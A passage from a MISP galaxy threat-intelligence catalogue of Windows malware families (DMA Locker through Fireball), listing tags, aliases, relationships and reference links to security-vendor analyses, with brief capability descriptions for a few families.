http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html

DMA Locker

The tag is: *misp-galaxy:malpedia="DMA Locker"*

DMA Locker is also known as:

Table 978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/
https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/

DNSMessenger

DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.

The tag is: *misp-galaxy:malpedia="DNSMessenger"*

DNSMessenger is also known as:

DNSMessenger has relationships with:

- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"

Table 979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger

https://blog.talosintelligence.com/2017/03/dnsmessenger.html
http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/
https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html

DogHousePower

DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.

The tag is: *misp-galaxy:malpedia="DogHousePower"*

DogHousePower is also known as:

- Shelma

Table 980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower
http://www1.paladion.net/hubfs/Newsletter/DogHousePower-%20Newly%20Identified%20Python-Based%20Ransomware.pdf

NgrBot

The tag is: *misp-galaxy:malpedia="NgrBot"*

NgrBot is also known as:

Table 981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot
https://securingtomorrow.mcafee.com/mcafee-labs/ngrbot-spreads-via-chat/
http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html
https://research.checkpoint.com/dorkbot-an-investigation/

Dorshel

The tag is: *misp-galaxy:malpedia="Dorshel"*

Dorshel is also known as:

Table 982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

DoublePulsar

The tag is: *misp-galaxy:malpedia="DoublePulsar"*

DoublePulsar is also known as:

Table 983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/
https://github.com/countercept/doublepulsar-c2-traffic-decryptor
https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/

Downdelph

The tag is: *misp-galaxy:malpedia="Downdelph"*

Downdelph is also known as:

- DELPHACY

Downdelph has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Downdelph - S0134" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"

Table 984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

Downeks

The tag is: *misp-galaxy:malpedia="Downeks"*

Downeks is also known as:

Table 985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/?adbsc=social69739136&adbid=826218465723756545&adbpl=tw&adbpr=4487645412

DownPaper

The tag is: *misp-galaxy:malpedia="DownPaper"*

DownPaper is also known as:

DownPaper has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="DownPaper - S0186" with estimative-language:likelihood-probability="likely"

Table 986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper
http://www.clearskysec.com/charmingkitten/

DramNudge

The tag is: *misp-galaxy:malpedia="DramNudge"*

DramNudge is also known as:

Table 987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge

DreamBot

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="DreamBot"*

DreamBot is also known as:

Table 988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot
https://lokalhost.pl/gozi_tree.txt
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

The tag is: *misp-galaxy:malpedia="Dridex"*

Dridex is also known as:

Dridex has relationships with:

- similar: misp-galaxy:banker="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"

Table 989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
https://blogs.it.ox.ac.uk/oxcert/2015/11/09/major-dridex-banking-malware-outbreak/
https://securityintelligence.com/dridexs-cold-war-enter-atombombing/
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps
https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/
https://viql.github.io/dridex/

https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

DROPSHOT

The tag is: *misp-galaxy:malpedia="DROPSHOT"*

DROPSHOT is also known as:

Table 990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/

DtBackdoor

The tag is: *misp-galaxy:malpedia="DtBackdoor"*

DtBackdoor is also known as:

Table 991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dtbackdoor

DualToy

The tag is: *misp-galaxy:malpedia="DualToy"*

DualToy is also known as:

DualToy has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="DualToy - MOB-S0031" with estimative-language:likelihood-probability="likely"

Table 992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

DarkHotel

The tag is: *misp-galaxy:malpedia="DarkHotel"*

DarkHotel is also known as:

Table 993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/
http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/

DUBrute

The tag is: *misp-galaxy:malpedia="DUBrute"*

DUBrute is also known as:

Table 994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute
https://github.com/ch0sys/DUBrute

Dumador

The tag is: *misp-galaxy:malpedia="Dumador"*

Dumador is also known as:

Table 995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador

DuQu

The tag is: *misp-galaxy:malpedia="DuQu"*

DuQu is also known as:

Table 996. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf

Duuzer

The tag is: *misp-galaxy:malpedia="Duuzer"*

Duuzer is also known as:

Table 997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Dyre

The tag is: *misp-galaxy:malpedia="Dyre"*

Dyre is also known as:

- Dyreza

Dyre has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"

Table 998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf

EDA2

The tag is: *misp-galaxy:malpedia="EDA2"*

EDA2 is also known as:

EDA2 has relationships with:

- similar: misp-galaxy:ransomware="HiddenTear" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom
https://twitter.com/JaromirHorejsi/status/815861135882780673

EHDevel

The tag is: *misp-galaxy:malpedia="EHDevel"*

EHDevel is also known as:

Table 1000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel
https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/

Elirks

The tag is: *misp-galaxy:malpedia="Elirks"*

Elirks is also known as:

Elirks has relationships with:

- similar: misp-galaxy:tool="Elirks" with estimative-language:likelihood-probability="likely"

Table 1001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

Elise

The tag is: *misp-galaxy:malpedia="Elise"*

Elise is also known as:

Elise has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"

Table 1002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elise
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://www.accenture.com/t20180127T003755Z*w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z*w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
https://www.joesecurity.org/blog/8409877569366580427

Emdivi

The tag is: *misp-galaxy:malpedia="Emdivi"*

Emdivi is also known as:

Emdivi has relationships with:

- similar: misp-galaxy:tool="Emdivi" with estimative-language:likelihood-probability="likely"

Table 1003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi
http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/
http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
https://securelist.com/new-activity-of-the-blue-termite-apt/71876/
http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html

Empire Downloader

The tag is: *misp-galaxy:malpedia="Empire Downloader"*

Empire Downloader is also known as:

Table 1004. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader
https://twitter.com/thor_scanner/status/992036762515050496

Enfal

The tag is: *misp-galaxy:malpedia="Enfal"*

Enfal is also known as:

- Lurid

Enfal has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Lurid - S0010" with estimative-language:likelihood-probability="likely"

Table 1005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal
https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/
http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf
https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/

EquationDrug

The tag is: *misp-galaxy:malpedia="EquationDrug"*

EquationDrug is also known as:

EquationDrug has relationships with:

- similar: misp-galaxy:tool="EquationDrug" with estimative-language:likelihood-probability="likely"

Table 1006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug
http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://securelist.com/inside-the-equationdrug-espionage-platform/69203/
https://cdn.securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf

Equationgroup (Sorting)

Rough collection EQGRP samples, to be sorted

The tag is: *misp-galaxy:malpedia="Equationgroup (Sorting)"*

Equationgroup (Sorting) is also known as:

Table 1007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup
https://laanwj.github.io/2016/09/23/seconddate-adventures.html
https://laanwj.github.io/2016/09/17/seconddate-cnc.html
https://laanwj.github.io/2016/09/13/blatsting-rsa.html
https://laanwj.github.io/2016/09/11/buzzdirection.html
https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html
https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html
https://laanwj.github.io/2016/09/01/tadaqueos.html
https://laanwj.github.io/2016/08/28/feintcloud.html
https://laanwj.github.io/2016/08/22/blatsting.html

Erebus

The tag is: *misp-galaxy:malpedia="Erebus"*

Erebus is also known as:

Erebus has relationships with:

- similar: misp-galaxy:rat="Erebus" with estimative-language:likelihood-probability="likely"

Table 1008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Eredel

Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.

According to nulled[.]to:

Supported browsers Chromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.

- Stealing FileZilla
- Stealing an account from Telegram
- Stealing AutoFill
- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
- Stealing files from the desktop. Supports any formats, configurable via telegram-bot

The tag is: *misp-galaxy:malpedia="Eredel"*

Eredel is also known as:

Table 1009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel
https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:hXXps://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab[https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:hXXps://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab]

EternalPetya

The tag is: *misp-galaxy:malpedia="EternalPetya"*

EternalPetya is also known as:

- ExPetr
- Pnyetya
- Petna
- NotPetya
- Nyetya
- NonPetya
- nPetya
- Diskcoder.C
- BadRabbit

EternalPetya has relationships with:

- similar: misp-galaxy:ransomware="Bad Rabbit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"

Table 1010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya
https://securelist.com/schroedingers-petya/78870/
https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/
https://securelist.com/from-blackenergy-to-expetr/78937/
https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4
https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/
https://labsblog.f-secure.com/2017/06/29/petya-i-want-to-believe/
http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html
https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/
https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/
http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://labsblog.f-secure.com/2017/06/30/eternal-petya-from-a-developers-perspective/
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/
https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/
https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/
https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna
https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/
https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/
https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/
https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
https://securelist.com/bad-rabbit-ransomware/82851/
https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

http://blog.talosintelligence.com/2017/10/bad-rabbit.html
http://www.intezer.com/notpetya-returns-bad-rabbit/
https://www.riskiq.com/blog/labs/badrabbit/
https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html
https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/
https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html
https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html

EtumBot

The tag is: *misp-galaxy:malpedia="EtumBot"*

EtumBot is also known as:

- HighTide

Table 1011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf
https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

Evilbunny

The tag is: *misp-galaxy:malpedia="Evilbunny"*

Evilbunny is also known as:

Table 1012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://www.cyphort.com/evilbunny-malware-instrumented-lua/

EvilGrab

The tag is: *misp-galaxy:malpedia="EvilGrab"*

EvilGrab is also known as:

- Vidgrab

EvilGrab has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 1013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf

EvilPony

Privately modded version of the Pony stealer.

The tag is: *misp-galaxy:malpedia="EvilPony"*

EvilPony is also known as:

- CREstealer

Table 1014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony
https://techhelplist.com/spam-list/1104-2017-03-27-your-amazon-com-order-has-shipped-malware
https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/
https://www.s21sec.com/en/blog/2017/07/ramnit-and-its-pony-module/

Evrial

The tag is: *misp-galaxy:malpedia="Evrial"*

Evrial is also known as:

Table 1015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial

https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/

Excalibur

The tag is: *misp-galaxy:malpedia="Excalibur"*

Excalibur is also known as:

- Sabresac
- Saber

Table 1016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies

MS Exchange Tool

The tag is: *misp-galaxy:malpedia="MS Exchange Tool"*

MS Exchange Tool is also known as:

Table 1017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT

Xtreme RAT

The tag is: *misp-galaxy:malpedia="Xtreme RAT"*

Xtreme RAT is also known as:

- ExtRat

Table 1018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html
https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html

https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017
https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat

Eye Pyramid

The tag is: *misp-galaxy:malpedia="Eye Pyramid"*

Eye Pyramid is also known as:

Table 1019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/
http://blog.talosintel.com/2017/01/Eye-Pyramid.html

FakeDGA

According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.

There seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).

The tag is: *misp-galaxy:malpedia="FakeDGA"*

FakeDGA is also known as:

- WillExec

Table 1020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakedga
https://github.com/360netlab/DGA/issues/36
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html
http://www.freebuf.com/column/153424.html

FakeRean

The tag is: *misp-galaxy:malpedia="FakeRean"*

FakeRean is also known as:

- Braviax

Table 1021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean
https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/
https://0x3asecurity.wordpress.com/2015/11/30/134260124544/
https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv

FakeTC

The tag is: *misp-galaxy:malpedia="FakeTC"*

FakeTC is also known as:

Table 1022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc
http://www.welivesecurity.com/2015/07/30/operation-potao-express/

Fanny

The tag is: *misp-galaxy:malpedia="Fanny"*

Fanny is also known as:

Fanny has relationships with:

- similar: misp-galaxy:tool="Fanny" with estimative-language:likelihood-probability="likely"

Table 1023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1

FantomCrypt

The tag is: *misp-galaxy:malpedia="FantomCrypt"*

FantomCrypt is also known as:

Table 1024. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/

FastPOS

The tag is: *misp-galaxy:malpedia="FastPOS"*

FastPOS is also known as:

Table 1025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/
http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf

Felismus

The tag is: *misp-galaxy:malpedia="Felismus"*

Felismus is also known as:

Felismus has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Felismus - S0171" with estimative-language:likelihood-probability="likely"

Table 1026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Felixroot

The tag is: *misp-galaxy:malpedia="Felixroot"*

Felixroot is also known as:

Table 1027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot

https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html

Feodo

Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.

The tag is: *misp-galaxy:malpedia="Feodo"*

Feodo is also known as:

- Cridex
- Bugat

Feodo has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"

Table 1028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo
http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html
https://feodotracker.abuse.ch/
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html

FF RAT

The tag is: *misp-galaxy:malpedia="FF RAT"*

FF RAT is also known as:

Table 1029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ff_rat
https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html

FileIce

The tag is: *misp-galaxy:malpedia="FileIce"*

FileIce is also known as:

Table 1030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

FindPOS

The tag is: *misp-galaxy:malpedia="FindPOS"*

FindPOS is also known as:

- Poseidon

Table 1031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/
https://blogs.cisco.com/security/talos/poseidon

FinFisher RAT

The tag is: *misp-galaxy:malpedia="FinFisher RAT"*

FinFisher RAT is also known as:

- FinSpy

FinFisher RAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="FinFisher - S0182" with estimative-language:likelihood-probability="likely"

Table 1032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher
https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation

https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

Fireball

The tag is: *misp-galaxy:malpedia="Fireball"*

Fireball is also known as:

